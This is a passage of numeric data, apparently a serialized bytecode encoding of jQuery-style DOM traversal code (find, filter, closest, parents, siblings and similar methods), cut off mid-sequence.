2, 61, 0, 4, 3, 2, 1, 98, 79, 59, 76, 57, 59, 43, 72, 21, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 10, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 23, 18, 72, 14, 46, 2, 61, 1, 4, 3, 2, 1, 101, 4, 3, 2, 1, 98, 95, 0, 120, 8, 91, 6, 85, 0, 46, 2, 61, 0, 103, 0, 103, 0, 106, 93, 21, 11, 86, 0, 4, 3, 2, 1, 98, 46, 2, 61, 0, 6, 12, 43, 0, 4, 3, 2, 1, 99, 4, 3, 2, 1, 98, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 2, 1, 98, 79, 51, 116, 49, 59, 47, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 102, 105, 110, 100, 23, 26, 4, 3, 2, 1, 97, 72, 14, 46, 2, 61, 1, 4, 3, 2, 1, 101, 4, 3, 2, 1, 98, 4, 3, 2, 1, 100, 120, 187, 1, 57, 184, 1, 23, 181, 1, 21, 82, 86, 0, 4, 3, 2, 1, 100, 59, 73, 72, 19, 46, 2, 61, 0, 95, 0, 4, 11, 0, 9, 112, 117, 115, 104, 83, 116, 97, 99, 107, 23, 50, 56, 48, 6, 11, 43, 0, 4, 3, 2, 1, 99, 46, 2, 61, 1, 59, 28, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 8, 0, 6, 117, 110, 105, 113, 117, 101, 23, 5, 4, 3, 2, 1, 100, 4, 3, 2, 1, 100, 21, 90, 86, 0, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 100, 4, 10, 0, 8, 115, 101, 108, 101, 99, 116, 111, 114, 56, 63, 72, 18, 46, 2, 61, 0, 95, 0, 4, 10, 0, 8, 115, 101, 108, 101, 99, 116, 111, 114, 6, 36, 58, 0, 6, 27, 58, 0, 72, 18, 46, 2, 61, 0, 95, 0, 4, 10, 0, 8, 115, 101, 108, 101, 99, 116, 111, 114, 65, 3, 0, 1, 32, 4, 3, 2, 1, 97, 4, 3, 2, 1, 97, 4, 3, 2, 1, 100, 1, 94, 46, 2, 61, 42, 46, 2, 61, 0, 4, 8, 0, 6, 102, 105, 108, 116, 101, 114, 55, 74, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 97, 49, 61, 49, 59, 120, 57, 59, 55, 72, 19, 46, 2, 61, 0, 95, 0, 4, 11, 0, 9, 112, 117, 115, 104, 83, 116, 97, 99, 107, 23, 32, 59, 30, 4, 3, 1, 1, 120, 23, 23, 95, 0, 60, 11, 38, 0, 4, 3, 2, 1, 97, 126, 2, 23, 0, 91, 6, 85, 0, 46, 2, 61, 1, 1, 91, 46, 2, 61, 42, 46, 2, 61, 0, 4, 5, 0, 3, 110, 111, 116, 55, 74, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 97, 49, 61, 49, 59, 120, 57, 59, 55, 72, 19, 46, 2, 61, 0, 95, 0, 4, 11, 0, 9, 112, 117, 115, 104, 83, 116, 97, 99, 107, 23, 32, 59, 30, 4, 3, 1, 1, 120, 23, 23, 95, 0, 60, 11, 38, 0, 4, 3, 2, 1, 97, 126, 2, 23, 0, 91, 6, 85, 0, 46, 2, 61, 0, 1, 163, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 4, 0, 2, 105, 115, 55, 146, 1, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 97, 49, 132, 1, 49, 129, 1, 120, 127, 91, 125, 85, 0, 91, 121, 85, 0, 72, 117, 46, 2, 61, 0, 59, 101, 4, 3, 1, 1, 120, 23, 94, 95, 0, 56, 82, 60, 53, 92, 0, 6, 21, 16, 0, 65, 8, 0, 6, 115, 116, 114, 105, 110, 103, 91, 7, 125, 0, 4, 3, 2, 1, 97, 59, 26, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 117, 4, 6, 0, 4, 116, 101, 115, 116, 23, 5, 4, 3, 2, 1, 97, 59, 12, 4, 3, 1, 1, 110, 23, 5, 4, 3, 2, 1, 97, 60, 11, 38, 0, 4, 3, 2, 1, 97, 126, 2, 23, 0, 91, 6, 85, 0, 46, 2, 61, 1, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 49, 223, 12, 49, 220, 12, 3, 7, 4, 3, 1, 1, 121, 87, 0, 3, 50, 4, 3, 1, 1, 122, 74, 43, 65, 37, 0, 35, 94, 40, 63, 58, 92, 115, 42, 40, 60, 91, 92, 119, 92, 87, 93, 43, 62, 41, 91, 94, 62, 93, 42, 124, 35, 40, 91, 92, 119, 45, 93, 42, 41, 41, 36, 65, 2, 0, 0, 3, 156, 12, 4, 3, 1, 1, 65, 21, 148, 12, 86, 0, 72, 29, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 4, 0, 2, 102, 110, 4, 6, 0, 4, 105, 110, 105, 116, 55, 240, 11, 65, 2, 0, 0, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 49, 221, 11, 49, 218, 11, 49, 20, 49, 18, 3, 7, 4, 3, 2, 1, 99, 87, 0, 3, 7, 4, 3, 2, 1, 100, 87, 0, 76, 15, 91, 7, 85, 0, 4, 3, 2, 1, 97, 120, 2, 95, 0, 103, 0, 76, 155, 8, 6, 21, 16, 0, 65, 8, 0, 6, 115, 116, 114, 105, 110, 103, 91, 7, 125, 0, 4, 3, 2, 1, 97, 49, 255, 7, 49, 252, 7, 76, 216, 2, 57, 208, 1, 23, 205, 1, 21, 161, 1, 86, 0, 4, 3, 2, 1, 99, 56, 151, 1, 60, 108, 92, 0, 60, 75, 92, 0, 6, 22, 26, 0, 65, 3, 0, 1, 60, 72, 13, 46, 2, 61, 1, 4, 3, 2, 1, 97, 46, 2, 61, 0, 6, 47, 26, 0, 65, 3, 0, 1, 62, 72, 38, 46, 2, 61, 1, 4, 3, 2, 1, 97, 6, 27, 113, 0, 72, 19, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 46, 2, 61, 1, 6, 27, 101, 0, 72, 19, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 46, 2, 61, 3, 126, 11, 23, 9, 103, 0, 4, 3, 2, 1, 97, 103, 0, 59, 26, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 122, 4, 6, 0, 4, 101, 120, 101, 99, 23, 5, 4, 3, 2, 1, 97, 60, 39, 38, 0, 91, 7, 85, 0, 4, 3, 2, 1, 99, 60, 26, 92, 0, 91, 17, 85, 0, 72, 13, 46, 2, 61, 1, 4, 3, 2, 1, 99, 46, 2, 61, 1, 4, 3, 2, 1, 98, 120, 128, 1, 56, 126, 60, 32, 38, 0, 91, 7, 85, 0, 4, 3, 2, 1, 98, 72, 19, 46, 2, 61, 0, 4, 3, 2, 1, 98, 4, 8, 0, 6, 106, 113, 117, 101, 114, 121, 59, 35, 72, 26, 46, 2, 61, 0, 60, 12, 38, 0, 4, 3, 2, 1, 98, 4, 3, 1, 1, 121, 4, 6, 0, 4, 102, 105, 110, 100, 23, 5, 4, 3, 2, 1, 97, 59, 53, 72, 44, 46, 2, 61, 0, 59, 30, 72, 21, 46, 2, 61, 0, 95, 0, 4, 13, 0, 11, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 23, 5, 4, 3, 2, 1, 98, 4, 6, 0, 4, 102, 105, 110, 100, 23, 5, 4, 3, 2, 1, 97, 103, 0, 76, 200, 3, 72, 13, 46, 2, 61, 1, 4, 3, 2, 1, 99, 46, 2, 61, 1, 49, 180, 3, 49, 177, 3, 76, 170, 3, 57, 154, 2, 23, 151, 2, 21, 43, 86, 0, 4, 3, 2, 1, 98, 56, 34, 6, 12, 93, 0, 4, 3, 2, 1, 98, 4, 3, 1, 1, 110, 72, 13, 46, 2, 61, 1, 4, 3, 2, 1, 98, 46, 2, 61, 0, 4, 3, 2, 1, 98, 59, 152, 1, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 109, 101, 114, 103, 101, 23, 129, 1, 95, 0, 59, 125, 72, 22, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 11, 0, 9, 112, 97, 114, 115, 101, 72, 84, 77, 76, 23, 99, 72, 13, 46, 2, 61, 1, 4, 3, 2, 1, 99, 46, 2, 61, 1, 56, 74, 60, 30, 92, 0, 4, 3, 2, 1, 98, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 98, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 60, 35, 38, 0, 72, 26, 46, 2, 61, 0, 4, 3, 2, 1, 98, 4, 15, 0, 13, 111, 119, 110, 101, 114, 68, 111, 99, 117, 109, 101, 110, 116, 4, 3, 2, 1, 98, 4, 3, 1, 1, 108, 91, 6, 85, 0, 46, 2, 61, 0, 60, 77, 92, 0, 59, 36, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 118, 4, 6, 0, 4, 116, 101, 115, 116, 23, 15, 72, 13, 46, 2, 61, 1, 4, 3, 2, 1, 99, 46, 2, 61, 1, 59, 35, 72, 26, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 15, 0, 13, 105, 115, 80, 108, 97, 105, 110, 79, 98, 106, 101, 99, 116, 23, 5, 4, 3, 2, 1, 98, 29, 136, 1, 46, 2, 61, 0, 4, 3, 2, 1, 99, 4, 3, 2, 1, 98, 79, 120, 116, 118, 56, 116, 59, 40, 72, 23, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 12, 0, 10, 105, 115, 70, 117, 110, 99, 116, 105, 111, 110, 23, 13, 72, 11, 46, 2, 61, 1, 95, 0, 4, 3, 2, 1, 99, 59, 31, 72, 11, 46, 2, 61, 1, 95, 0, 4, 3, 2, 1, 99, 23, 16, 72, 14, 46, 2, 61, 1, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 59, 39, 72, 14, 46, 2, 61, 0, 95, 0, 4, 6, 0, 4, 97, 116, 116, 114, 23, 21, 4, 3, 2, 1, 99, 72, 14, 46, 2, 61, 1, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 103, 0, 120, 2, 95, 0, 103, 0, 120, 211, 1, 57, 208, 1, 23, 205, 1, 21, 55, 86, 0, 4, 3, 2, 1, 100, 59, 46, 72, 27, 46, 2, 61, 0, 4, 3, 1, 1, 108, 4, 16, 0, 14, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 23, 15, 72, 13, 46, 2, 61, 1, 4, 3, 2, 1, 99, 46, 2, 61, 2, 60, 87, 92, 0, 60, 32, 92, 0, 4, 3, 2, 1, 100, 72, 23, 46, 2, 61, 0, 4, 3, 2, 1, 100, 4, 12, 0, 10, 112, 97, 114, 101, 110, 116, 78, 111, 100, 101, 57, 49, 23, 47, 21, 24, 86, 0, 72, 16, 46, 2, 61, 0, 95, 0, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 46, 2, 61, 1, 21, 19, 86, 0, 72, 10, 46, 2, 61, 1, 95, 0, 46, 2, 61, 0, 4, 3, 2, 1, 100, 21, 26, 86, 0, 72, 17, 46, 2, 61, 0, 95, 0, 4, 9, 0, 7, 99, 111, 110, 116, 101, 120, 116, 4, 3, 1, 1, 108, 21, 27, 86, 0, 72, 18, 46, 2, 61, 0, 95, 0, 4, 10, 0, 8, 115, 101, 108, 101, 99, 116, 111, 114, 4, 3, 2, 1, 97, 95, 0, 103, 0, 120, 146, 3, 56, 143, 3, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 57, 74, 23, 72, 21, 42, 86, 0, 72, 17, 46, 2, 61, 0, 95, 0, 4, 9, 0, 7, 99, 111, 110, 116, 101, 120, 116, 21, 19, 86, 0, 72, 10, 46, 2, 61, 1, 95, 0, 46, 2, 61, 0, 4, 3, 2, 1, 97, 21, 24, 86, 0, 72, 16, 46, 2, 61, 0, 95, 0, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 46, 2, 61, 1, 95, 0, 56, 169, 2, 59, 32, 72, 23, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 12, 0, 10, 105, 115, 70, 117, 110, 99, 116, 105, 111, 110, 23, 5, 4, 3, 2, 1, 97, 56, 84, 6, 39, 94, 0, 65, 11, 0, 9, 117, 110, 100, 101, 102, 105, 110, 101, 100, 91, 22, 125, 0, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 121, 4, 7, 0, 5, 114, 101, 97, 100, 121, 59, 27, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 121, 4, 7, 0, 5, 114, 101, 97, 100, 121, 23, 5, 4, 3, 2, 1, 97, 59, 12, 4, 3, 2, 1, 97, 23, 5, 4, 3, 1, 1, 110, 57, 174, 1, 23, 171, 1, 60, 133, 1, 92, 0, 6, 33, 52, 0, 91, 6, 32, 0, 46, 2, 61, 0, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 10, 0, 8, 115, 101, 108, 101, 99, 116, 111, 114, 57, 94, 23, 92, 21, 45, 86, 0, 72, 18, 46, 2, 61, 0, 95, 0, 4, 10, 0, 8, 115, 101, 108, 101, 99, 116, 111, 114, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 10, 0, 8, 115, 101, 108, 101, 99, 116, 111, 114, 21, 43, 86, 0, 72, 17, 46, 2, 61, 0, 95, 0, 4, 9, 0, 7, 99, 111, 110, 116, 101, 120, 116, 72, 20, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 9, 0, 7, 99, 111, 110, 116, 101, 120, 116, 59, 33, 72, 22, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 11, 0, 9, 109, 97, 107, 101, 65, 114, 114, 97, 121, 23, 7, 4, 3, 2, 1, 97, 95, 0, 116, 72, 57, 70, 23, 68, 21, 43, 86, 0, 72, 22, 46, 2, 61, 0, 4, 3, 1, 1, 65, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 72, 15, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 4, 0, 2, 102, 110, 21, 21, 86, 0, 4, 3, 1, 1, 121, 59, 12, 4, 3, 1, 1, 110, 23, 5, 4, 3, 1, 1, 108, 49, 173, 1, 49, 170, 1, 3, 45, 4, 3, 1, 1, 66, 74, 38, 65, 32, 0, 30, 94, 40, 63, 58, 112, 97, 114, 101, 110, 116, 115, 124, 112, 114, 101, 118, 40, 63, 58, 85, 110, 116, 105, 108, 124, 65, 108, 108, 41, 41, 65, 2, 0, 0, 3, 121, 4, 3, 1, 1, 67, 35, 114, 23, 112, 1, 28, 46, 2, 61, 42, 46, 2, 61, 0, 4, 10, 0, 8, 99, 104, 105, 108, 100, 114, 101, 110, 91, 6, 85, 0, 46, 2, 61, 0, 1, 28, 46, 2, 61, 42, 46, 2, 61, 0, 4, 10, 0, 8, 99, 111, 110, 116, 101, 110, 116, 115, 91, 6, 85, 0, 46, 2, 61, 0, 1, 24, 46, 2, 61, 42, 46, 2, 61, 0, 4, 6, 0, 4, 110, 101, 120, 116, 91, 6, 85, 0, 46, 2, 61, 0, 1, 24, 46, 2, 61, 42, 46, 2, 61, 0, 4, 6, 0, 4, 112, 114, 101, 118, 91, 6, 85, 0, 46, 2, 61, 0, 116, 131, 16, 57, 128, 16, 23, 253, 15, 59, 249, 3, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 8, 0, 6, 101, 120, 116, 101, 110, 100, 23, 225, 3, 35, 222, 3, 23, 219, 3, 1, 147, 2, 46, 2, 61, 42, 46, 2, 61, 0, 4, 5, 0, 3, 100, 105, 114, 55, 129, 2, 65, 2, 0, 0, 23, 15, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 49, 233, 1, 49, 230, 1, 49, 37, 49, 35, 3, 9, 4, 3, 2, 1, 100, 126, 2, 23, 0, 3, 22, 4, 3, 2, 1, 101, 6, 15, 52, 0, 91, 6, 32, 0, 46, 2, 61, 0, 4, 3, 2, 1, 99, 73, 181, 1, 60, 58, 92, 0, 21, 23, 86, 0, 4, 3, 2, 1, 97, 72, 14, 46, 2, 61, 1, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 6, 29, 52, 0, 46, 2, 61, 9, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 79, 119, 76, 117, 6, 29, 26, 0, 46, 2, 61, 1, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 49, 82, 49, 80, 76, 48, 60, 42, 92, 0, 4, 3, 2, 1, 101, 59, 33, 72, 24, 46, 2, 61, 0, 59, 12, 4, 3, 1, 1, 110, 23, 5, 4, 3, 2, 1, 97, 4, 4, 0, 2, 105, 115, 23, 5, 4, 3, 2, 1, 99, 81, 0, 103, 0, 116, 28, 59, 26, 72, 17, 46, 2, 61, 0, 4, 3, 2, 1, 100, 4, 6, 0, 4, 112, 117, 115, 104, 23, 5, 4, 3, 2, 1, 97, 103, 0, 120, 5, 4, 3, 2, 1, 100, 1, 194, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 9, 0, 7, 115, 105, 98, 108, 105, 110, 103, 55, 172, 1, 65, 2, 0, 0, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 49, 153, 1, 49, 150, 1, 106, 140, 1, 49, 13, 49, 11, 3, 9, 4, 3, 2, 1, 99, 126, 2, 23, 0, 4, 3, 2, 1, 97, 21, 33, 86, 0, 4, 3, 2, 1, 97, 72, 24, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 13, 0, 11, 110, 101, 120, 116, 83, 105, 98, 108, 105, 110, 103, 79, 83, 116, 81, 60, 79, 92, 0, 60, 47, 92, 0, 6, 29, 26, 0, 46, 2, 61, 1, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 6, 12, 52, 0, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 59, 26, 72, 17, 46, 2, 61, 0, 4, 3, 2, 1, 99, 4, 6, 0, 4, 112, 117, 115, 104, 23, 5, 4, 3, 2, 1, 97, 120, 5, 4, 3, 2, 1, 99, 59, 254, 11, 72, 31, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 4, 0, 2, 102, 110, 4, 8, 0, 6, 101, 120, 116, 101, 110, 100, 23, 218, 11, 35, 215, 11, 23, 212, 11, 1, 233, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 5, 0, 3, 104, 97, 115, 55, 215, 1, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 97, 49, 201, 1, 49, 198, 1, 49, 53, 49, 51, 3, 21, 4, 3, 2, 1, 98, 59, 14, 4, 3, 1, 1, 110, 23, 7, 4, 3, 2, 1, 97, 95, 0, 3, 26, 4, 3, 2, 1, 99, 72, 19, 46, 2, 61, 0, 4, 3, 2, 1, 98, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 120, 140, 1, 59, 137, 1, 72, 16, 46, 2, 61, 0, 95, 0, 4, 8, 0, 6, 102, 105, 108, 116, 101, 114, 23, 117, 55, 115, 65, 2, 0, 0, 23, 0, 49, 107, 49, 105, 106, 103, 49, 13, 49, 11, 3, 9, 4, 3, 3, 1, 97, 46, 2, 61, 0, 6, 12, 43, 0, 4, 3, 2, 1, 99, 4, 3, 3, 1, 97, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 3, 1, 97, 79, 59, 76, 57, 59, 43, 72, 21, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 10, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 23, 18, 95, 0, 72, 14, 46, 2, 61, 1, 4, 3, 2, 1, 98, 4, 3, 3, 1, 97, 120, 8, 91, 6, 85, 0, 46, 2, 61, 0, 103, 0, 1, 134, 5, 46, 2, 61, 42, 46, 2, 61, 0, 4, 9, 0, 7, 99, 108, 111, 115, 101, 115, 116, 55, 240, 4, 65, 2, 0, 0, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 49, 221, 4, 49, 218, 4, 106, 250, 3, 49, 169, 1, 49, 166, 1, 3, 7, 4, 3, 2, 1, 99, 87, 0, 3, 9, 4, 3, 2, 1, 100, 46, 2, 61, 0, 3, 23, 4, 3, 2, 1, 101, 72, 16, 46, 2, 61, 0, 95, 0, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 3, 9, 4, 3, 2, 1, 102, 126, 2, 23, 0, 3, 108, 4, 3, 2, 1, 103, 56, 101, 60, 53, 38, 0, 59, 26, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 117, 4, 6, 0, 4, 116, 101, 115, 116, 23, 5, 4, 3, 2, 1, 97, 6, 21, 94, 0, 65, 8, 0, 6, 115, 116, 114, 105, 110, 103, 91, 7, 125, 0, 4, 3, 2, 1, 97, 59, 40, 4, 3, 1, 1, 110, 23, 33, 4, 3, 2, 1, 97, 60, 26, 38, 0, 4, 3, 2, 1, 98, 72, 17, 46, 2, 61, 0, 95, 0, 4, 9, 0, 7, 99, 111, 110, 116, 101, 120, 116, 46, 2, 61, 0, 6, 12, 43, 0, 4, 3, 2, 1, 101, 4, 3, 2, 1, 100, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 2, 1, 100, 79, 176, 2, 106, 173, 2, 21, 20, 86, 0, 4, 3, 2, 1, 99, 72, 11, 46, 2, 61, 1, 95, 0, 4, 3, 2, 1, 100, 60, 21, 92, 0, 4, 3, 2, 1, 99, 6, 12, 52, 0, 4, 3, 2, 1, 99, 4, 3, 2, 1, 98, 21, 32, 86, 0, 4, 3, 2, 1, 99, 72, 23, 46, 2, 61, 0, 4, 3, 2, 1, 99, 4, 12, 0, 10, 112, 97, 114, 101, 110, 116, 78, 111, 100, 101, 79, 219, 1, 76, 216, 1, 60, 175, 1, 92, 0, 6, 29, 36, 0, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 99, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 46, 2, 61, 11, 56, 139, 1, 4, 3, 2, 1, 103, 6, 39, 43, 0, 59, 27, 72, 18, 46, 2, 61, 0, 4, 3, 2, 1, 103, 4, 7, 0, 5, 105, 110, 100, 101, 120, 23, 5, 4, 3, 2, 1, 99, 91, 6, 102, 0, 46, 2, 61, 1, 60, 91, 92, 0, 6, 29, 26, 0, 46, 2, 61, 1, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 99, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 59, 56, 72, 42, 46, 2, 61, 0, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 102, 105, 110, 100, 4, 17, 0, 15, 109, 97, 116, 99, 104, 101, 115, 83, 101, 108, 101, 99, 116, 111, 114, 23, 10, 4, 3, 2, 1, 99, 4, 3, 2, 1, 97, 49, 34, 49, 32, 116, 28, 59, 26, 72, 17, 46, 2, 61, 0, 4, 3, 2, 1, 102, 4, 6, 0, 4, 112, 117, 115, 104, 23, 5, 4, 3, 2, 1, 99, 81, 0, 103, 0, 120, 91, 59, 89, 72, 19, 46, 2, 61, 0, 95, 0, 4, 11, 0, 9, 112, 117, 115, 104, 83, 116, 97, 99, 107, 23, 66, 56, 64, 6, 27, 43, 0, 72, 19, 46, 2, 61, 0, 4, 3, 2, 1, 102, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 46, 2, 61, 1, 59, 28, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 8, 0, 6, 117, 110, 105, 113, 117, 101, 23, 5, 4, 3, 2, 1, 102, 4, 3, 2, 1, 102, 1, 179, 2, 46, 2, 61, 42, 46, 2, 61, 0, 4, 7, 0, 5, 105, 110, 100, 101, 120, 55, 159, 2, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 97, 49, 145, 2, 49, 142, 2, 120, 139, 2, 56, 136, 2, 4, 3, 2, 1, 97, 56, 140, 1, 6, 21, 16, 0, 65, 8, 0, 6, 115, 116, 114, 105, 110, 103, 91, 7, 125, 0, 4, 3, 2, 1, 97, 59, 47, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 103, 4, 6, 0, 4, 99, 97, 108, 108, 23, 26, 59, 12, 4, 3, 1, 1, 110, 23, 5, 4, 3, 2, 1, 97, 72, 10, 46, 2, 61, 1, 95, 0, 46, 2, 61, 0, 59, 66, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 103, 4, 6, 0, 4, 99, 97, 108, 108, 23, 45, 95, 0, 56, 41, 72, 19, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 8, 0, 6, 106, 113, 117, 101, 114, 121, 72, 13, 46, 2, 61, 1, 4, 3, 2, 1, 97, 46, 2, 61, 0, 4, 3, 2, 1, 97, 56, 114, 60, 46, 92, 0, 72, 10, 46, 2, 61, 1, 95, 0, 46, 2, 61, 0, 72, 30, 46, 2, 61, 0, 72, 10, 46, 2, 61, 1, 95, 0, 46, 2, 61, 0, 4, 12, 0, 10, 112, 97, 114, 101, 110, 116, 78, 111, 100, 101, 72, 56, 46, 2, 61, 0, 59, 40, 72, 36, 46, 2, 61, 0, 59, 19, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 102, 105, 114, 115, 116, 23, 0, 4, 9, 0, 7, 112, 114, 101, 118, 65, 108, 108, 23, 0, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 91, 6, 102, 0, 46, 2, 61, 1, 1, 152, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 5, 0, 3, 97, 100, 100, 55, 134, 1, 65, 2, 0, 0, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 49, 116, 49, 114, 120, 112, 59, 110, 72, 19, 46, 2, 61, 0, 95, 0, 4, 11, 0, 9, 112, 117, 115, 104, 83, 116, 97, 99, 107, 23, 87, 59, 85, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 8, 0, 6, 117, 110, 105, 113, 117, 101, 23, 62, 59, 60, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 109, 101, 114, 103, 101, 23, 38, 59, 17, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 103, 101, 116, 23, 0, 59, 17, 4, 3, 1, 1, 110, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 1, 139, 1, 46, 2, 61, 42, 46, 2, 61, 0, 4, 9, 0, 7, 97, 100, 100, 66, 97, 99, 107, 55, 118, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 97, 49, 105, 49, 103, 120, 101, 59, 99, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 97, 100, 100, 23, 82, 56, 80, 6, 9, 16, 0, 103, 0, 4, 3, 2, 1, 97, 72, 20, 46, 2, 61, 0, 95, 0, 4, 12, 0, 10, 112, 114, 101, 118, 79, 98, 106, 101, 99, 116, 59, 45, 72, 36, 46, 2, 61, 0, 72, 20, 46, 2, 61, 0, 95, 0, 4, 12, 0, 10, 112, 114, 101, 118, 79, 98, 106, 101, 99, 116, 4, 8, 0, 6, 102, 105, 108, 116, 101, 114, 23, 5, 4, 3, 2, 1, 97, 116, 236, 12, 59, 233, 12, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 101, 97, 99, 104, 23, 211, 12, 35, 136, 9, 23, 133, 9, 1, 122, 46, 2, 61, 42, 46, 2, 61, 0, 4, 8, 0, 6, 112, 97, 114, 101, 110, 116, 55, 102, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 97, 49, 89, 49, 87, 49, 34, 49, 32, 3, 30, 4, 3, 2, 1, 98, 72, 23, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 12, 0, 10, 112, 97, 114, 101, 110, 116, 78, 111, 100, 101, 120, 49, 56, 47, 60, 38, 92, 0, 4, 3, 2, 1, 98, 6, 29, 52, 0, 46, 2, 61, 11, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 98, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 4, 3, 2, 1, 98, 103, 0, 1, 79, 46, 2, 61, 42, 46, 2, 61, 0, 4, 9, 0, 7, 112, 97, 114, 101, 110, 116, 115, 55, 58, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 97, 49, 45, 49, 43, 120, 41, 59, 39, 72, 16, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 5, 0, 3, 100, 105, 114, 23, 19, 4, 3, 2, 1, 97, 65, 12, 0, 10, 112, 97, 114, 101, 110, 116, 78, 111, 100, 101, 1, 99, 46, 2, 61, 42, 46, 2, 61, 0, 4, 14, 0, 12, 112, 97, 114, 101, 110, 116, 115, 85, 110, 116, 105, 108, 55, 73, 65, 2, 0, 0, 23, 15, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 49, 50, 49, 48, 120, 46, 59, 44, 72, 16, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 5, 0, 3, 100, 105, 114, 23, 24, 4, 3, 2, 1, 97, 65, 12, 0, 10, 112, 97, 114, 101, 110, 116, 78, 111, 100, 101, 4, 3, 2, 1, 99, 1, 64, 46, 2, 61, 42, 46, 2, 61, 0, 4, 